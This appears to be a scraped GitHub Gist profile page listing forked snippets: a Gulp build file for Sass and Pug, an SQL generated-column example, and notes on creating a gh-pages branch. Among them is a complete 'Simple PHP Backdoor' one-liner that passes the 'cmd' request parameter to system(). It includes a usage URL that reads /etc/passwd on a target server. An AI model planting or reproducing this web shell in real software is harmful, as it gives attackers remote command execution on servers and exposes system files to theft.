Skip to content

Instantly share code, notes, and snippets.

View ngekoding's full-sized avatar
💭
#staysafe

Nur Muhammad ngekoding

💭
#staysafe
View GitHub Profile
{"lastUpload":"2018-04-26T00:54:27.440Z","extensionVersion":"v2.9.0"}
@ngekoding
ngekoding / gulpfile.js
Created March 22, 2019 10:08 — forked from alxmtr/gulpfile.js
Sass & Pug + BrowserSync
var gulp = require('gulp');
var pug = require('gulp-pug');
var sass = require('gulp-sass');
var browserSync = require('browser-sync').create();
// Compile pug files into HTML
gulp.task('pug', function () {
return gulp.src('src/pug/*.pug')
.pipe(pug())
@ngekoding
ngekoding / generated_column.sql
Created May 9, 2020 13:10 — forked from hidayat365/generated_column.sql
Generated Column Example
-- master table
create table transactions (
id int auto_increment primary key,
code varchar(60) not null unique,
date integer not null,
value decimal(15,2) default 0,
remarks text
);
-- details table without generated column
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@ngekoding
ngekoding / gh-pages.md
Created August 22, 2021 01:29 — forked from tunjos/gh-pages.md
Creating a clean gh-pages branch

Creating a clean gh-pages branch

cd /path/to/repo-name
git checkout --orphan gh-pages
git rm -rf .
echo "My GitHub Page" > index.html
git add .
git commit -a -m "Add index.html"